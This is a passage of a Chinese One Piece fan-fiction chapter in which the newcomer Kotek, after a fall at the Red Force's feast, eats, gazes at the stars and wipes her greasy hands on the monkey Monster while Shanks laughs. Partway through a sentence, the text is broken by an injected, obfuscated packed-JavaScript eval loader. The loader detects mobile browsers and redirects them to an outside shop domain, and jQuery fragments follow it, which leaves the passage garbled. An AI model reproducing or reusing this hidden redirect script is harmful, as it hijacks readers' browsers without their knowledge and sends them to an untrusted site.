在几乎要掀翻夜空的、经久不息的爆笑声浪中,科特克慢吞吞地、带着一种奇特的、近乎破罐子破摔的镇定,开始动作。

    她先是维持着脸朝下的姿势,停顿了几秒,仿佛在确认自己武装色覆盖的脸部是否真的毫发无伤,也像是在进行某种深刻且无力的内心建设。

    然后,她才用双手撑住甲板,以一种不紧不慢、甚至带着点慵懒意味的节奏,先把上半身支起来,曲起一条腿,再慢慢地把另一条腿也收回来,最后,才稳稳当当地站直了身体。

    站定后,她甚至没有立刻加入众人的狂欢或试图辩解,而是先低下头,慢条斯理地拍了拍衣服上沾到的、其实并不算多的灰尘和木屑。

    每一个动作都透着一股“事已至此,先填饱肚子再说”的务实,以及一种微妙的、仿佛刚刚完成日常训练项目般的从容。

    如果说前几日面对类似窘境时,她还会手脚发烫、恨不得找个地缝钻进去,那么此刻,那些过于激烈的、属于“外人”的狼狈与尴尬,似乎真的被刚才那结实无比的一摔,给震散了大半。取而代之的,是一种近乎“尘归尘,土归土”的悠然自得——反正脸也丢了,人也笑了,武装色还顺便练了,还能更糟吗?没有了吧。

    那不如吃饭。

    她身上那种初来乍到、格格不入的紧绷感,在此刻奇异地消融了许多。她就那么自然而然地、仿佛本就该如此一般,转身朝着甲板中央那张堆满了烤肉、香气最为霸道的长桌走去。周遭的笑声还未完全平息,但她穿行其中的姿态,却少了几分之前的躲闪,多了几分“随便你们笑,肉是我的了”的理直气壮。

    走到桌前,目光扫过那些烤得滋滋冒油、金黄焦脆的肉块,她毫不犹豫地伸手,精准地抓住了一根最大、肉最多、骨头最粗壮的带骨肉,分量沉甸甸的,几乎比她小臂还粗。她没有丝毫客气,拿起来就嗷呜一大口,结实实地咬了下去。

    浓郁滚烫的肉汁瞬间在口腔爆开,混合着粗犷的香料和火焰炙烤的焦香,简单、直接、霸道地征服了味蕾,也瞬间驱散了最后那点微不足道的郁闷。

    她一边鼓着腮帮子用力咀嚼,一边拿着她的战利品,溜溜达达地走到船舷边一个相对安静的角落——既远离了宴会最喧闹的中心,又能将整片欢乐景象收入眼底,然后毫无形象地、结结实实地一屁股坐到了甲板上,背靠着冰冷的船舷。

    温暖的海风卷着烤肉的油脂香、朗姆酒的醇烈,以及一种独属于夏季夜晚的、混合了海水微咸、甲板木材被晒过后散发出的干燥气息,扑面而来。这气息热烈、鲜活、无拘无束,与她家乡那种带着泥土和草木清香的夜晚截然不同,却奇异地并不让人讨厌。

    科特克靠在那里,浑身上下的肌肉,从肩颈到背部,再到一直紧绷的小腿,在这喧嚣又安宁的角落里,在海风与美食的抚慰下,一点点、缓慢地放松下来。一种难以言喻的感觉,如同此刻温柔涌动的海水,悄悄漫上心头。

    不是感激,不是认同,也不是彻底的归属。

    更像是一种……接纳。

    接纳了自己此刻就在这里,以这样一种离奇又合理的方式,身处这群离经叛道却又鲜活无比的海贼之中。

    她第一次如此真切地,对脚下这片浩瀚莫测、危机与机遇并存的大海,产生了一丝模糊的、说不清道不明的牵连感。

    不是故乡,却仿佛也可以是某个能暂时停靠的港口。

    刚刚那些关于未来、关于选择、关于自身弱小的纠结、无措与迷茫,似乎真的被这带着咸味的海风,一点点吹散了,吹远了。

    她的思绪变得前所未有的清明与坚定,就像不久之前,船医本乡用那双能洞察身体细微变化的手和沉稳的话语,为她拨开迷雾,点明方向时一样。

    此刻,无需再多言语,她仿佛能“看”到自己想走的那条航线,虽然依旧模糊在远方的海平线,但方向,已然在心底亮起了一盏小小的、不会轻易熄灭的灯。

    她一边大口撕咬着鲜美多汁的烤肉,一边自然而然地仰起了头。

    头顶,是一片与她家乡似像非像的星空。

    但这里的星星更多,更密,仿佛有人将整袋最璀璨的钻石,毫不吝惜地、洋洋洒洒地倾倒在深邃无底的天鹅绒上。每一颗都清晰锐利,闪烁着或银或蓝的冷冽光辉,没有城市霓虹的侵扰,没有工业尘埃的阻隔,只有最极致的澄澈与明亮。银河宛如一条流淌着亿万吨星砂的光之河流,横贯天穹,壮丽得令人屏息。

    难怪路飞那么爱吃肉。

    科特克用力嚼着嘴里的肉,满足地眯了眯眼,油脂的香气在唇齿间蔓延。

    确实好吃。简单,粗暴,能带来最原始也最充沛的满足感和力量。

    难怪那个家伙会如此渴望出海,渴望冒险。

    她望着那片仿佛触手可及、又永远无法真正触及的璀璨星海,感受着嘴里实实在在的鲜美,听着身后传来的、毫无阴霾的歌声与大笑。

    确实自由。

    是心灵无拘无束,是方向由自己定,是此刻的饱足与欢笑可以如此真实,如此理直气壮。

    发尾随着她仰头、咀嚼的动作,在海风中微微晃动,拂过脖颈,有点痒。她三下五除二,以惊人的速度解决了那根分量十足的带骨肉,将每一丝肉都啃得干干净净。然后,手腕随意地一甩,那根光溜溜的骨头在空中划出一道短暂的弧线,“噗通”一声,轻巧地落入了船舷外的黑暗海面,甚至没激起多大的水花。

    几乎就在骨头落水的同一瞬间。

    “吱吱!”

    一道熟悉的、带着点不满和控诉意味的叫声响起。猛士达,那只小猴子,不知何时又注意到了这个“老熟人”,或许是骨头落水的声音吸引了它,或许是科特克身上残留的肉香,又或许是别的什么,它灵活地从人群缝隙中窜出,几个起落就蹦到了科特克面前,抓耳挠腮,乌溜溜的眼睛直勾勾地盯着她油光发亮、还沾着些许调料末的手指。

    科特克缓缓低下头,看着眼前这只导致她两次脸刹、并且还贡献了今晚宴会最高笑点的罪魁祸首。

    她的唇角,在阴影中,极其缓慢地、一点一点地,勾起了一抹与平时那副生无可恋或气急败坏截然不同的弧度。那弧度里,带着点凉飕飕的算计,一丝终于等

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522460|202940||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到机会的狞笑,以及某种冤有头债有主的明确意味。

    说时迟,那时快!

    就在猛士达歪着脑袋,似乎想凑近闻闻她手指味道的瞬间,科特克动了。

    她的双手快如闪电,甚至带出了些许残影,根本没有给这只以敏捷著称的小猴子任何反应的机会!左手如铁钳般倏地探出,精准地、牢牢地箍住了猛士达毛茸茸的、试图后退的小身子,右手则五指张开,以迅雷不及掩耳之势,将自己那双沾满了烤肉油脂和调料、在星光和远处篝火映照下闪闪发亮的手,结结实实、毫不客气地、全方位无死角地……

    按在了猛士达那身柔顺光滑的皮毛上。

    “吱吱吱——!!!”

    凄厉且夸张的惨叫声瞬间划破空气!猛士达浑身一个激灵,四只爪子疯狂乱蹬,整只猴子像触电一样拼命扭动挣扎,试图逃离那双恶魔之手。

    它拒绝!

    它强烈拒绝自己干净的皮毛上沾染这种油腻腻、黏糊糊的东西!

    它可是雷德·佛斯号上最爱干净的宠物猴!

    它不是抹布!

    绝对不是!

    但科特克的手像是涂了胶水,左手稳如磐石,右手则用力地、来回地、在那身棕色的皮毛上揉搓、擦拭,从后背到肚皮,从前肢到后腿,力求每一根手指、每一个指缝的油渍都雨露均沾。

    “噗——!”

    就在这惨无人道的擦手酷刑进行到高潮,猛士达的吱吱惨叫与科特克面无表情但眼神凶狠的擦拭形成鲜明对比时——

    宴会中心,正举杯与耶稣布拼酒的香克斯,动作猛地一顿,随即,他那张英俊的脸上瞬间爆发出一种难以抑制的、混合了震惊、狂乐和我就知道会这样的精彩表情,紧接着,比之前任何一次都要响亮、都要促狭、都要幸灾乐祸的爆笑,如同被点燃的炸药桶,轰然炸响。

    “哈哈哈哈哈哈哈哈哈!!!!!!”

    他笑得手里的酒杯都在狂抖,酒液洒出来大半,但他毫不在意,只是伸手指着船舷边那个角落,笑得整个人向后仰去,差点带倒旁边的酒桶。

    “看到了吗?!贝克曼!本乡!哈哈哈哈!她报复了!她真的用猛士达擦手了!哈哈哈哈!猛士达叫得好惨!啊呀呀,我们船上的新人和音乐家搭档‘感情’真好啊!不打不相识,擦手定友谊吗?!哈哈哈哈哈哈!”

    四皇大人的见闻色霸气,果然强得离谱。即使在这样喧闹混乱的宴会中,即使在拼酒笑闹的间隙,他依旧能轻而易举地捕捉到角落里那细微的、带着点私人恩怨性质的互动,并且毫不客气地、用他那极具穿透力的大嗓门,将这份乐趣分享给了全船。

    于是,更多的视线,带着好奇、惊愕和更大的笑意,投向了那个角落。

    只见科特克已经松开了手,一脸平静地拍了拍手,仿佛刚刚只是完成了一次再普通不过的餐后清洁。

    而她面前,猛士达正悲愤地用力抖动着全身的毛,试图甩掉那身油腻,一边抖,还一边冲着科特克吱吱直叫,小表情委屈又控诉。

    新一轮的、更加欢乐的笑声,开始在甲板上回荡。